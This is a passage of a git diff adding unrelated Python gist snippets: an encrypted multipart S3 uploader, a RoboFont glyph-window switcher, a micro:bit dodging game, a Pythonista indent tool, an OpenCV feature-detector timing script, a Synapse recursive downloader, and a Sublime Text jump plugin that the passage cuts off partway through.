+
+        def num_uploaded(self):
+            return len([p for p in self.parts[1:]
+                       if p['status'] in ['UPLOADED','COMPLETED']])
+
+        def num_completed(self):
+            return len([p for p in self.parts[1:] if p['status'] == 'COMPLETED'])
+
+        def num_failed(self):
+            return len([p for p in self.parts[1:] if p['status'] == 'FAILED'])
+
+        def upload_part(self, part_num):
+            ''' Upload a specific part of the S3 object '''
+            try:
+                logging.debug("Starting thread %d" % part_num)
+                before_upload = current_ts()
+                resp = s3.upload_part(Body=self.parts[part_num]['data'],
+                                      Bucket=args.bucket, Key=args.s3_key,
+                                      PartNumber=part_num,
+                                      UploadId=mpu['UploadId'])
+                self.parts[part_num]['time'] = current_ts() - before_upload
+                self.parts[part_num]['mpu_part'] = {'ETag': resp['ETag'],
+                                                    'PartNumber': part_num}
+                self.parts[part_num]['status'] = 'UPLOADED'
+                logging.debug("Ending thread %d, size %d" %
+                              (part_num, self.parts[part_num]['size']))
+            except Exception as e:
+                self.parts[part_num]['status'] = 'FAILED'
+                logging.error("Thread %d failed" % part_num)
+                traceback.print_exc()
+
+        def read_part(self, part_num):
+            ''' Read a part from the file and encrypt '''
+            logging.debug("Reading part %d" % part_num)
+            readbuf = fin.read(part_size)
+            if aes_cipher:
+                if part_num == self.num_s3_parts:
+                    # Last part must be padded
+                    logging.debug("Padding part %d" % part_num)
+                    readbuf = pad_pkcs7(readbuf)
+                logging.debug("Encrypting part %d" % part_num)
+                readbuf = aes_cipher.encrypt(readbuf)
+            return readbuf
+
+        def start_thread(self):
+            ''' Start a new thread to upload a part of the S3 object '''
+            part_num = len(self.parts)
+            readbuf = self.read_part(part_num)
+            new_thread = threading.Thread(name="Thread"+str(part_num),
+                                          target=self.upload_part,
+                                          args=(part_num,))
+            self.parts.append({'thread':new_thread,
+                               'time':0,
+                               'data':readbuf,
+                               'size':len(readbuf),
+                               'mpu_part':None,
+                               'status':'RUNNING'})
+            new_thread.start()
+
+        def collect_thread(self):
+            ''' Mark each part COMPLETED after it has been uploaded.  Garbage
+                collect to prevent large amount of memory usage when the file
+                is large.
+            '''
+            part_num = self.num_completed()+1
+            if (self.num_parts() >= part_num and
+                self.parts[part_num]['status'] == 'UPLOADED'
+               ):
+                part = self.parts[part_num]
+                logging.debug("Uploaded part %d in %d seconds" % (
+                              part_num, part['time']))
+                self.max_upload_secs = (
+                    part['time'] if part['time'] > self.max_upload_secs
+                    else self.max_upload_secs)
+                self.total_upload_secs += part['time']
+                self.total_size_uploaded += part['size']
+                part['status'] = 'COMPLETED'
+                part['data'] = None
+                gc.collect()  # Clean-up unreferenced data.
+                return True
+            else:
+                return False
+
+        def encrypt_and_upload(self):
+            ''' Manages threads used to read each part of the file, encrypt,
+                and upload to the S3 object.
+            '''
+            # Loop until any child thread fails or all parts have been
+            # uploaded.
+            while (self.num_failed() == 0 and
+                   self.num_completed() < self.num_s3_parts):
+                # Start a new thread if...
+                #  1) We're running fewer than the max allowed
+                #  2) There are still more parts to process
+                if (self.num_running() < self.max_running and
+                    self.num_parts() < self.num_s3_parts
+                   ):
+                    self.start_thread()
+                    # If the number of parts completed is less than the number
+                    # of parts uploaded - 300, then collect a thread.  This is
+                    # important, because sometimes threads will finish faster
+                    # than new threads can start (seems like that shouldn't
+                    # happen, but it can) and without this step we'll never
+                    # run the max number of threads and no threads will be
+                    # collected until all have finished.  That's okay for small
+                    # files, but not for very large files because the memory
+                    # for each part isn't released until the thread has been
+                    # collected and not releasing memory will cause problems
+                    # when the file is extremely large.
+                    if self.num_completed() < self.num_uploaded() - 300:
+                        self.collect_thread()
+                elif not self.collect_thread():
+                    # Sleep if a thread was not started nor collected.
+                    t.sleep(5)
+                logging.info("parts: total %d, started %d, running %d, "
+                             "uploaded %d, completed %d" %
+                             (self.num_s3_parts, self.num_parts(),
+                              self.num_running(), self.num_uploaded(),
+                              self.num_completed()))
+
+            fin.close()
+            if self.num_failed() == 0:
+                logging.info("All parts uploaded: total_size_uploaded %d, "
+                    "max_upload_secs %d, avg_upload_secs %d" % (
+                    self.total_size_uploaded, self.max_upload_secs,
+                    int(self.total_upload_secs/self.num_s3_parts)))
+            return self.num_failed()
+
+    # Get arguments
+    aparser = argparse.ArgumentParser()
+    aparser.add_argument("-p", "--profile", required=True, help="AWS profile")
+    aparser.add_argument("-f", "--file", required=True,
+        help="name of file to be encrypted and uploaded to S3")
+    aparser.add_argument("-b", "--bucket", required=True, help="S3 bucket")
+    aparser.add_argument("-s", "--s3_key", required=True, help="S3 key")
+    aparser.add_argument("-k", "--kms_key",
+        help="arn or alias of the KMS customer main key")
+    aparser.add_argument("-c", "--part_size", default="41943040",
+        help="size of each part to be uploaded (default is 40MB)")
+    aparser.add_argument("-m", "--metadata", default="{}",
+        help="a list of values, in JSON format, that will be attached to the S3 object")
+    aparser.add_argument("-t", "--threads", type=int, default=5,
+        help="number of threads for parallel upload")
+    aparser.add_argument("-i", "--instruction", action="store_true",
+        help="store metadata in a .instruction S3 object (default is to attach metadata to the S3 object")
+    aparser.add_argument("-d", "--debug_level", default="INFO",
+        help="debug level (default is INFO)")
+    args = aparser.parse_args()
+
+    # Configure logging
+    cformat = "%(threadName)s:%(asctime)s:%(levelname)s:%(message)s"
+    cdatefmt = "%Y-%m-%dT%H:%M:%SZ"
+    logging.Formatter.converter = t.gmtime
+    logging.basicConfig(format=cformat, datefmt=cdatefmt, stream=sys.stdout,
+                        level=args.debug_level)
+    #logging.getLogger("boto3").setLevel(logging.INFO)
+    #logging.getLogger("botocore").setLevel(logging.INFO)
+
+    if not (os.environ.get('http_proxy') and os.environ.get('https_proxy')):
+        logging.error("http_proxy and https_proxy must be set")
+        sys.exit(1)
+
+    logging.info("profile: %s", args.profile)
+    logging.info("file: %s", args.file)
+    logging.info("bucket: %s", args.bucket)
+    logging.info("s3_key: %s", args.s3_key)
+    logging.info("kms_key: %s", args.kms_key)
+    logging.info("metadata: %s", args.metadata)
+    args.threads = min(10, args.threads)   # max 10 threads
+    logging.info("threads: %s", args.threads)
+    logging.info("instruction: %s", args.instruction)
+
+    # part_size must be a multiple of AES.block_size
+    part_size = int(args.part_size)
+    if part_size % AES.block_size != 0:
+        part_size += AES.block_size - (part_size % AES.block_size)
+    logging.info("part_size: %s", part_size)
+
+    # Determine number of file parts.
+    st_size = os.stat(args.file).st_size
+    if st_size == 0:
+        logging.error("Source data is 0 bytes, nothing uploaded to S3")
+        sys.exit(2)
+    logging.info("file size: %d" % st_size)
+    num_s3_parts = math.ceil(float(st_size) / part_size)
+
+    # Create AWS session for the given profile.
+    session = boto3.Session(profile_name=args.profile)
+    s3 = session.client('s3', config=Config(signature_version='s3v4',
+                                            read_timeout=300))
+
+    # If user provided a KMS key, then setup the encryption stuff.
+    if args.kms_key:
+        aes_cipher, metadata = kms_encryption_setup(session, args.kms_key)
+        logging.info("Data will be encrypted before loading to S3")
+    else:
+        aes_cipher, metadata = None, {}
+        logging.info("Data will not be encrypted before loading to S3")
+    metadata.update(ast.literal_eval(args.metadata))
+
+    # Load the file to S3 in parts.
+    # Metadata will either be attached to the S3 object or stored in an
+    # accompanying .instruction S3 object.
+    # Also using Server Side Encryption because it's required in our AWS
+    # environment.
+    if args.instruction:
+        mpu = s3.create_multipart_upload(Bucket=args.bucket, Key=args.s3_key,
+              ServerSideEncryption='AES256')
+    else:
+        mpu = s3.create_multipart_upload(Bucket=args.bucket, Key=args.s3_key,
+              Metadata=metadata, ServerSideEncryption='AES256')
+
+    # Initiate the process to encrypt and upload to an S3 object.
+    logging.info("Uploading parts of data to s3://%s/%s..." %
+                 (args.bucket, args.s3_key))
+    fin = open(args.file, "rb")
+    parts = Parts()
+    if parts.encrypt_and_upload() != 0:
+        sys.exit(5)
+    else:
+        # Complete the multipart upload.
+        # Create a metadata S3 object if requested.
+        logging.info("Completing multi-part upload")
+        parts_list = [p['mpu_part'] for p in parts.parts[1:]]
+        s3.complete_multipart_upload(Bucket=args.bucket, Key=args.s3_key,
+                                     MultipartUpload={'Parts': parts_list},
+                                     UploadId=mpu['UploadId'])
+        if args.instruction:
+            logging.info("Creating .instruction S3 object")
+            if aes_cipher:
+                s3.put_object(Bucket=args.bucket,
+                    Key=args.s3_key+'.instruction',
+                    Body=json.dumps(metadata),
+                    ServerSideEncryption='AES256',
+                    Metadata={'x-amz-crypto-instr-file': args.s3_key})
+            else:
+                s3.put_object(Bucket=args.bucket,
+                    Key=args.s3_key+'.instruction',
+                    Body=json.dumps(metadata),
+                    ServerSideEncryption='AES256')
+
+
+if __name__ == '__main__':
+    main()
\ No newline at end of file
diff --git a/hard-gists/8d36bc7ab765ee601403e90d1d2f303f/._snippet.py b/hard-gists/8d36bc7ab765ee601403e90d1d2f303f/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8d36bc7ab765ee601403e90d1d2f303f/._snippet.py differ
diff --git a/hard-gists/8d36bc7ab765ee601403e90d1d2f303f/snippet.py b/hard-gists/8d36bc7ab765ee601403e90d1d2f303f/snippet.py
new file mode 100644
index 00000000..dc0adfb8
--- /dev/null
+++ b/hard-gists/8d36bc7ab765ee601403e90d1d2f303f/snippet.py
@@ -0,0 +1,66 @@
+"""
+
+    If you're editing mains or whatever
+    and you want to switch to the same glyph in the other main
+    and you spend a lot of time moving glyph windows around
+    Add this script to RF and wire it to a key command
+    and then woosh woosh woosh cycle between the mains.
+    
+    Possible features, not included
+        - some control over the direction, previous / next
+        - maintain zoom
+        - maintain display settings
+    
+    erik@letterror.com
+    20160618
+    v2
+
+"""
+
+from AppKit import *
+from mojo.UI import *
+
+def getGlyphWindowPosSize():
+    w = CurrentGlyphWindow()
+    if w is None:
+        return
+    x,y, width, height = w.window().getPosSize()
+    settings = getGlyphViewDisplaySettings()
+    return (x, y), (width, height), settings
+    
+def setGlyphWindowPosSize(glyph, pos, size, animate=False, settings=None):
+    OpenGlyphWindow(glyph=glyph, newWindow=False)
+    w = CurrentGlyphWindow()
+    w.window().setPosSize((pos[0], pos[1], size[0], size[1]), animate=animate)
+    if settings is not None:
+        setGlyphViewDisplaySettings(settings)
+
+def getOtherMain(nextFont=True):
+    # determining the order of the available ufos is a bit tricky.
+    cf = CurrentFont()
+    orderedFonts = []
+    allFonts = AllFonts()
+    allFonts.sort()
+    for i in range(len(allFonts)):
+        f = allFonts[i]
+        prev = allFonts[i-1]
+        nxt = allFonts[(i+1)%len(allFonts)]
+        if f == cf:
+            if nextFont:
+                return nxt
+            else:
+                return prev
+
+def switch():
+    g = CurrentGlyph()
+    if g is not None:
+        f = CurrentFont()
+        n = getOtherMain()
+        nextGlyph = n[g.name]
+        if nextGlyph is not None:
+            rr = getGlyphWindowPosSize()
+            if rr is not None:
+                p, s, settings = getGlyphWindowPosSize()
+                setGlyphWindowPosSize(nextGlyph, p, s, settings=settings)
+
+switch()
diff --git a/hard-gists/8e2cf809155062082c838f7346e45fe8/._snippet.py b/hard-gists/8e2cf809155062082c838f7346e45fe8/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8e2cf809155062082c838f7346e45fe8/._snippet.py differ
diff --git a/hard-gists/8e2cf809155062082c838f7346e45fe8/snippet.py b/hard-gists/8e2cf809155062082c838f7346e45fe8/snippet.py
new file mode 100644
index 00000000..ef8052d9
--- /dev/null
+++ b/hard-gists/8e2cf809155062082c838f7346e45fe8/snippet.py
@@ -0,0 +1,100 @@
+import random
+from microbit import *
+
+class board:
+    grid = None
+
+    def __init__(self):
+        self.grid = [
+            [False, False, False, False, False],
+            [False, False, False, False, False],
+            [False, False, False, False, False],
+            [False, False, False, False, False],
+            [False, False, False, False, False]]
+
+    def __str__(self):
+        return ":".join([''.join(['5' if y else '0' for y in x]) for x in self.grid])
+
+    def advance(self, blocks=0):
+        self.grid = [[False, False, False, False, False]] + self.grid[:-1]
+        e = list(range(5))
+        for b in range(blocks):
+            x = random.choice(e)
+            e.remove(x)
+            self.grid[0][x] = True
+
+    def is_clear(self, x, y):
+        return not self.grid[x][y]
+
+
+class player:
+    position = 2
+    
+    def get_point(self):
+        return self.position, 4
+
+    def move_left(self):
+        if self.position > 0:
+            self.position -= 1
+
+    def move_right(self):
+        if self.position < 4:
+            self.position += 1
+
+
+class game:
+    frame = 0
+    state = 0
+    message = "Press any button to play."
+    frame_delay = 100
+    b = None
+    p = None
+
+    def is_colision(self):
+        x, y = self.p.get_point()
+        return self.b.grid[y][x]
+
+    def update(self):
+        self.frame += 1
+        if self.state in (0, 2):
+            if button_a.was_pressed() or button_b.was_pressed():
+                self.state = 1
+                self.message = ""
+                self.frame = 0
+                self.b = board()
+                self.p = player()
+        elif self.state == 1:
+            if button_a.was_pressed():
+                self.p.move_left()
+            if button_b.was_pressed():
+                self.p.move_right()
+            if self.frame % 5 == 0:
+                self.b.advance(blocks=self.frame % 3)
+            if self.is_colision():
+                self.message = "CRASH! Press any button to play again."
+                self.state = 0
+
+    def render(self):
+        if self.state == 0:
+            display.scroll(self.message, delay=100, loop=True, wait=False)
+            self.state = 2
+        elif self.state == 1:
+            display.show(Image(str(self.b)))
+            x, y = self.p.get_point()
+            display.set_pixel(x, y, 9)
+        elif self.state == 2:
+            # currently showing message (state==0)
+            pass
+        else:
+            self.state = 0
+            self.message = "bad state"
+
+    def run(self):
+        while True:
+            self.update()
+            self.render()
+            sleep(self.frame_delay)
+
+
+g = game()
+g.run()
diff --git a/hard-gists/8e4b396a1c8a1f3f80d0/._snippet.py b/hard-gists/8e4b396a1c8a1f3f80d0/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8e4b396a1c8a1f3f80d0/._snippet.py differ
diff --git a/hard-gists/8e4b396a1c8a1f3f80d0/snippet.py b/hard-gists/8e4b396a1c8a1f3f80d0/snippet.py
new file mode 100644
index 00000000..68da6008
--- /dev/null
+++ b/hard-gists/8e4b396a1c8a1f3f80d0/snippet.py
@@ -0,0 +1,23 @@
+import editor, console
+
+script = editor.get_text()
+selection = editor.get_selection()
+selected_text = script[selection[0]:selection[1]].splitlines()
+indentation = int(console.input_alert('Indent'))
+replacement = []
+
+for line in selected_text:
+    if indentation > 0:
+        replacement.append(('\t'*indentation)+line+('\n' if line != selected_text[-1] else ''))
+    elif indentation == 0:
+        replacement.append(line+('\n' if line != selected_text[-1] else ''))
+    elif indentation < 0:
+        if len(line) == 0:
+            replacement.append('\n')
+        elif line[0] == '\t':
+            indent = min(abs(indentation), line.count('\t'))
+            replacement.append(line.replace('\t', '', indent)+('\n' if line != selected_text[-1] else ''))
+        else:
+            replacement.append(line+('\n' if line != selected_text[-1] else ''))
+
+editor.replace_text(selection[0], selection[1], ''.join(replacement))
\ No newline at end of file
diff --git a/hard-gists/8e4bea946ab9c05347fe/._snippet.py b/hard-gists/8e4bea946ab9c05347fe/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8e4bea946ab9c05347fe/._snippet.py differ
diff --git a/hard-gists/8e4bea946ab9c05347fe/snippet.py b/hard-gists/8e4bea946ab9c05347fe/snippet.py
new file mode 100644
index 00000000..5cfffde4
--- /dev/null
+++ b/hard-gists/8e4bea946ab9c05347fe/snippet.py
@@ -0,0 +1,84 @@
+# -*- coding: utf-8 -*-
+ 
+import cv2
+import numpy as np
+ 
+print u'OpenCV Version:'+cv2.__version__
+import sys
+print u'Python Version:'+str(sys.version_info)
+ 
+img = cv2.imread('./test_data/image000001.png')
+gray= cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)
+ 
+# @see http://answers.opencv.org/question/52130/300-python-cv2-module-cannot-find-siftsurforb/
+# orb = cv2.ORB() <- it doesn't work
+# orb = cv2.FeatureDetector_create('ORB') <- it doen't work
+# ORB
+e1_orb = cv2.getTickCount()
+orb = cv2.ORB_create()
+kp_orb = orb.detect(img, None)
+kp_orb, des_orb = orb.compute(img, kp_orb)
+e2_orb = cv2.getTickCount()
+time_orb = (e2_orb-e1_orb)/cv2.getTickFrequency()
+img_orb = cv2.drawKeypoints(gray, kp_orb, None)
+ 
+# AKAZE
+e1_akaze = cv2.getTickCount()
+akaze = cv2.AKAZE_create()
+kp_akaze = akaze.detect(img, None)
+kp_akaze, des_akaze = akaze.compute(img, kp_akaze)
+#img_akaze = cv2.drawKeypoints(gray, kp_akaze, None, color=(0, 255, 0))
+e2_akaze = cv2.getTickCount()
+time_akaze = (e2_akaze-e1_akaze)/cv2.getTickFrequency()
+img_akaze = cv2.drawKeypoints(gray, kp_akaze, None)
+ 
+# KAZE
+e1_kaze = cv2.getTickCount()
+kaze = cv2.KAZE_create()
+kp_kaze = kaze.detect(img, None)
+kp_kaze, des_kaze = kaze.compute(img, kp_kaze)
+#img_kaze = cv2.drawKeypoints(gray, kp_kaze, None, color=(0, 255, 0))
+e2_kaze = cv2.getTickCount()
+time_kaze = (e2_kaze-e1_kaze)/cv2.getTickFrequency()
+img_kaze = cv2.drawKeypoints(gray, kp_kaze, None)
+ 
+# FAST
+e1_fast = cv2.getTickCount()
+fast = cv2.FastFeatureDetector_create()
+kp_fast = fast.detect(img, None)
+#kp_fast, des_fast = fast.compute(img, kp_fast)
+e2_fast = cv2.getTickCount()
+time_fast = (e2_fast-e1_fast)/cv2.getTickFrequency()
+img_fast = cv2.drawKeypoints(gray, kp_fast, None)
+ 
+# BRISK
+e1_brisk = cv2.getTickCount()
+brisk = cv2.BRISK_create()
+kp_brisk = brisk.detect(img, None)
+kp_brisk, des_brisk = brisk.compute(img, kp_brisk)
+e2_brisk = cv2.getTickCount()
+time_brisk = (e2_brisk-e1_brisk)/cv2.getTickFrequency()
+img_brisk = cv2.drawKeypoints(gray, kp_brisk, None)
+ 
+# MSER
+#mser = cv2.MSER_create()
+#img_mser = img.copy()
+#regions = mser.detectRegions(gray, None)
+#hulls = [cv2.convexHull(p.reshape(-1, 1, 2)) for p in regions]
+#cv2.polylines(img_mser, hulls, 1, (0, 255, 0))
+orb_str = 'orb\t{0}\t{1}'.format(time_orb,time_orb/len(kp_orb))
+akaze_str = 'akaze\t{0}\t{1}'.format(time_akaze,time_akaze/len(kp_akaze))
+kaze_str = 'kaze\t{0}\t{1}'.format(time_kaze,time_kaze/len(kp_kaze))
+fast_str = 'fast\t{0}\t{1}'.format(time_fast,time_fast/len(kp_fast))
+brisk_str = 'brisk\t{0}\t{1}'.format(time_brisk,time_brisk/len(kp_brisk))
+writebuffer = orb_str +'\n'+ akaze_str + '\n' + kaze_str +'\n'+ fast_str +'\n'+ brisk_str +'\n'
+with open('./features_time.csv', 'a+') as f:
+  f.write(writebuffer)
+
+#cv2.imshow('ORB',img_orb)
+#cv2.imshow('AKAZE', img_akaze)
+#cv2.imshow('KAZE', img_kaze)
+#cv2.imshow('FAST', img_fast)
+#cv2.imshow('BRISK', img_brisk)
+#cv2.imshow('MSER', img_mser)
+#cv2.waitKey(0)
\ No newline at end of file
diff --git a/hard-gists/8e7ab6fe8ad6d903aa0c/._snippet.py b/hard-gists/8e7ab6fe8ad6d903aa0c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8e7ab6fe8ad6d903aa0c/._snippet.py differ
diff --git a/hard-gists/8e7ab6fe8ad6d903aa0c/snippet.py b/hard-gists/8e7ab6fe8ad6d903aa0c/snippet.py
new file mode 100644
index 00000000..2eb64610
--- /dev/null
+++ b/hard-gists/8e7ab6fe8ad6d903aa0c/snippet.py
@@ -0,0 +1,32 @@
+import os
+import shutil
+import synapseclient
+from synapseclient import Project, Folder, Entity, File
+
+syn = synapseclient.login()
+
+
+def download(entity, directory=None, verbose=False, indent=0):
+    """
+    Recusively download a Project or Folder from Synapse.
+
+    :param entity: A Synapse Entity or Synapse ID.
+    :param directory: The destination directory for the downloaded files.
+    :param verbose: Print a directory tree of the downloaded project or folder.
+    :param indent: keeps track of indent level for printing during recursive calls.
+    """
+    if not directory:
+        directory = os.getcwd()
+    entity = syn.get(entity, downloadLocation=directory, downloadFile=True)
+    if isinstance(entity, Project) or isinstance(entity, Folder):
+        if verbose:
+            print("%s%s/" % (" "*indent, entity.name))
+        subdir = os.path.join(directory, entity.name)
+        if not os.path.exists(subdir):
+            os.makedirs(subdir)
+        results = syn.chunkedQuery('select id, name from entity where parentId=="%s"' % entity.id)
+        for result in results:
+            download(result['entity.id'], directory=subdir, verbose=verbose, indent=indent+2)
+    else:
+        if verbose:
+            print("%s%s" % (" "*indent, entity.name))
diff --git a/hard-gists/8eabf18a6a79f5dbe3f4/._snippet.py b/hard-gists/8eabf18a6a79f5dbe3f4/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8eabf18a6a79f5dbe3f4/._snippet.py differ
diff --git a/hard-gists/8eabf18a6a79f5dbe3f4/snippet.py b/hard-gists/8eabf18a6a79f5dbe3f4/snippet.py
new file mode 100644
index 00000000..bba61bd0
--- /dev/null
+++ b/hard-gists/8eabf18a6a79f5dbe3f4/snippet.py
@@ -0,0 +1,622 @@
+import sublime
+import sublime_plugin
+from sublime import Region, Selection
+import os
+import re
+
+# { "keys": ["ctrl+r"], "command": "pepo_jump" },
+
+
+class PepoJump(sublime_plugin.WindowCommand):
+
+    def run(self, **kwargs):
+        win = self.window
+        view = win.active_view()
+        fpath = view.file_name()
+        self.view = view
+        self.fpath = fpath
+        if fpath:
+            self.fdir = os.path.dirname(fpath)
+            _, ext = os.path.splitext(fpath)
+            self.ext = ext.lower()
+        else:
+            self.fdir = ''
+            self.ext = ''
+
+        sel = view.sel()[0]
+        self.quick_panel = getattr(self, 'quick_panel', None)
+
+        text = kwargs.get('text', None)
+        is_symbol = False
+
+        if self.quick_panel:
+            self.quick_panel = None
+            return self.goto_symbol_in_project(self.text)
+            # return self.find_files()
+
+        if text:
+            is_symbol = False
+        else:
+            if sel.begin() == sel.end():
+                text, is_symbol = self.get_undercursor()
+            else:
+                text = view.substr(sel)
+                if text.find('/') == -1 and text.find('.') == -1:
+                    is_symbol = True
+
+        if not text:
+            self.find_files()
+            text = os.path.sep.join(fpath.split(os.path.sep)[-2:])
+            text, _ = os.path.splitext(text)
+            win.run_command("insert", {"characters": text})
+            return
+
+        self.origin_view = view
+        self.origin_sel = view.sel()[0]
+
+        if is_symbol:
+            self.goto_symbol(text)
+        else:
+            self.goto_file(text)
+
+    def goto_file(self, text):
+        self.text = text
+        win = self.window
+        view = self.view
+
+        row = 1
+        m = re.search(r'(?: *line *|:)(\d+):?$', text)
+        if m:
+            row = int(m.group(1))
+            text = re.sub(r':(\d+):?$', '', text)
+
+        # todo: file:// http://
+
+        # abs path ?
+        if text[0] == '/' or text[1] == ':' or text[:2] == '\\\\':
+            if self.try_open_file(text, row=row):
+                return
+
+        # already opened file ?
+        target = win.find_open_file(text)
+        if target:
+            if row > 1:
+                point = target.text_point(row, 0)
+                target.show_at_center(point)
+            return win.focus_view(target)
+
+        fpath = self.fpath
+        dirs = []
+        if fpath:
+            # relative from active_view ?
+            if self.try_open_file(self.fdir, text, row=row):
+                return
+            dirs.append(self.fdir)
+
+        for v in win.views():
+            fn = v.file_name()
+            if fn and v != view:
+                dirs.append(os.path.dirname(fn))
+        dirs = list(set(dirs))
+
+        # relative from project folers ? (sidebar folders)
+        for f in win.folders():
+            if self.try_open_file(f, text, row=row):
+                return
+
+        # relative from other views ?
+        for d in dirs:
+            if self.try_open_file(d, text, row=row):
+                return
+
+        # search match part of path from all open views
+        # ex)
+        #     text = 'a/b/c/hello/world.txt'
+        #     open_file_path = '/Users/someone/aaaa/bbb/a/b/c/d/e/f/hoge.txt'
+        #     match '/a/b/c/'
+        #         --> try_open '/Users/someone/aaaa/bbb/a/b/c/hello/world.txt'
+        sep = os.path.sep
+        if dirs and text.find(sep) > -1:
+            t = os.path.normpath(text).split(sep)
+            dirs = [d+sep for d in dirs]
+            for i in range(len(t)-1, 0, -1):
+                chunk = sep+sep.join(t[:i])+sep
+                for d in dirs:
+                    j = 0
+                    while j > -1:
+                        j = d.find(chunk, j+1)
+                        if j > -1 and self.try_open_file(d[:j], text, row=row):
+                            return
+
+        self.goto_anything(text)
+        return
+
+    def goto_anything(self, text):
+        win = self.window
+        # open "goto anything" with text
+        print("show_overlay goto", text)
+        row = 1
+        m = re.search(r':(\d+)$', text)
+        if m:
+            row = int(m.group(1))
+            text = re.sub(r':\d+$', '', text)
+        win.run_command("show_overlay", {
+            "overlay": "goto", "show_files": True, "text": text, })
+        view = win.active_view()
+        size = view.size()
+        win.run_command("insert", {"characters": ' '})
+        if size != view.size():
+            win.run_command("undo")
+        else:
+            win.run_command("left_delete")
+            if row != 1:
+                win.run_command(
+                    "insert",
+                    {"characters": ':{}'.format(row)})
+
+    def try_open_file(self, *args, **kwargs):
+        path = os.path
+        args = list(args)
+        r = kwargs.get('row', 1)
+
+        # join path
+        fpath = args.pop(0)
+        for f in args:
+            fpath = path.join(fpath, f)
+
+        # isfile ?
+        if path.isfile(fpath):
+            print(fpath)
+            self.jump(fpath, r)
+            return True
+
+        # dir exists ?
+        fdir = path.dirname(fpath)
+        if not path.isdir(fdir):
+            return False
+
+        # abbr ".ext" ?
+        names = [f for f in os.listdir(fdir)
+                 if path.isfile(path.join(fdir, f))]
+        fname = path.basename(fpath)+'.'
+        names = [n for n in names
+                 if n.startswith(fname)]
+        if len(names) == 0:
+            return False
+
+        # found !
+        print("found", names)
+        files = {}  # ext map
+        for n in names:
+            _, ext = path.splitext(n)
+            if ext:
+                files[ext.lower()] = path.join(fdir, n)
+        if len(files) == 0:
+            # unknown file paturn
+            return False
+
+        if self.ext in files:
+            # sameas active_view
+            solved = files[self.ext]
+        else:
+            print(files.values())
+            solved = list(files.values())[0]
+        print(solved)
+        self.jump(solved, r)
+
+        return True
+
+    def goto_symbol(self, text):
+        self.text = text
+        win = self.window
+        view = win.active_view()
+        sel = view.sel()[0]
+        row, col = view.rowcol(sel.begin())
+        row += 1
+
+        loc = self.find_in_scope(text, row)
+        if loc:
+            region, r, c = loc
+            self.jump(view.file_name(), r, c, text, region)
+            return
+
+        locs = win.lookup_symbol_in_open_files(text)
+        print('lookup_symbol_in_open_files: {}'.format(len(locs)))
+        if len(locs) == 1:
+            fpath, fname, rowcol = locs[0]
+            if fpath != view.file_name() and rowcol[0] != row:
+                self.jump(fpath, rowcol[0], rowcol[1], text)
+                return
+        elif len(locs) > 1:
+            return self.show_location_panel(
+                locs, name="lookup_symbol_in_open_files")
+
+        locs = win.lookup_symbol_in_index(text)
+        print('lookup_symbol_in_index: {}'.format(len(locs)))
+        if len(locs) == 1:
+            fpath, fname, rowcol = locs[0]
+            if fpath != view.file_name() and rowcol[0] != row:
+                self.jump(fpath, rowcol[0], rowcol[1], text)
+                return
+        elif len(locs) > 1:
+            return self.show_location_panel(
+                locs, name="lookup_symbol_in_index")
+
+        # locs = self.find_in_views(text, [view])
+        # if len(locs) > 1:
+        #     return self.show_location_panel(
+        #         locs, row=row, name="find_in_view")
+
+        # if self.find_in_other_views(text):
+        #     return
+
+        self.goto_symbol_in_project(text)
+        # self.find_files()
+        return
+
+    def goto_symbol_in_project(self, text):
+        win = self.window
+        win.run_command("hide_panel", {"cancel": True})
+        win.run_command("hide_overlay")
+        sublime.set_timeout(
+            lambda: sublime.set_timeout(
+                lambda: self.goto_symbol_in_project_(text)))
+        return True
+
+    def goto_symbol_in_project_(self, text):
+        win = self.window
+        win.run_command("goto_symbol_in_project")
+        win.run_command("insert", {"characters": text})
+        return True
+
+    def jump(self, fpath, r=1, c=1, text=None, region=None):
+        win = self.window
+        view = self.origin_view
+        if fpath:
+            if r == 1 and c == 1:
+                target = win.open_file(fpath)
+            else:
+                target = win.open_file(
+                    fpath+":" + str(r) + ":" + str(c),
+                    sublime.ENCODED_POSITION)
+        else:
+            target = view
+        # if view != target and win.num_groups() > 1:
+        #     g1, i1 = win.get_view_index(view)
+        #     g2, i2 = win.get_view_index(target)
+        #     if g1 == g2:
+        #         # move to right group
+        #         g = (g1 + 1) % win.num_groups()
+        #         win.set_view_index(target, g, 0)
+        #         win.focus_view(view)
+        win.focus_view(target)
+        self.scroll(target, fpath, r, c, text, region)
+        return
+
+    def scroll(self, view, fpath, r=1, c=1, text=None, region=None):
+        if sublime.active_window() != self.window:
+                print("changed active_window")
+                return
+        if self.window.active_view() != view:
+                print("changed active_view")
+                return
+        if view.is_loading() or view.file_name() != fpath:
+                print("retry scroll")
+                sublime.set_timeout(
+                    lambda: self.scroll(view, fpath, r, c, text, region), 300)
+                return
+        if not region:
+            point = view.text_point(r-1, c-1)
+            if text:
+                line = view.line(point)
+                region = view.find(text, line.begin(), sublime.LITERAL)
+            elif r > 1:
+                region = Region(point, point)
+        if region:
+            if region.a == region.b and text:
+                region = view.find(text, region.a-1, sublime.LITERAL)
+            view.show_at_center(region)
+            view.sel().clear()
+            view.sel().add(region)
+            if not view.visible_region().contains(region):
+                sublime.set_timeout(
+                    lambda: self.scroll(view, fpath, r, c, text, region), 300)
+        self.window.focus_view(view)
+
+    def find_files(self):
+        win = self.window
+        win.run_command("show_panel", {
+            "panel": "find_in_files", })
+        win.run_command("slurp_find_string")
+        return
+
+    def find_in_other_views(self, text):
+        win = self.window
+        view = win.active_view()
+        views = [v for v in win.views()
+                 if v.file_name() and v.file_name() != view.file_name()]
+        if len(views) > 0:
+            locs = self.find_in_views(text, views)
+            if len(locs) > 0:
+                self.show_location_panel(locs, name="find_in_otherviews")
+                return True
+        return False
+
+    def show_location_panel(self, locations, name='quick_panel', row=False):
+        win = self.window
+        if self.quick_panel:
+            return
+        print('open: '+name)
+        self.quick_panel = name
+        self.locations = locations
+        view = win.active_view()
+        selindex = 0
+        items = []
+        for i in range(0, len(locations)):
+            l = locations[i]
+            # if row is False:
+            #     if l[2][0] == row:
+            #         selindex = i
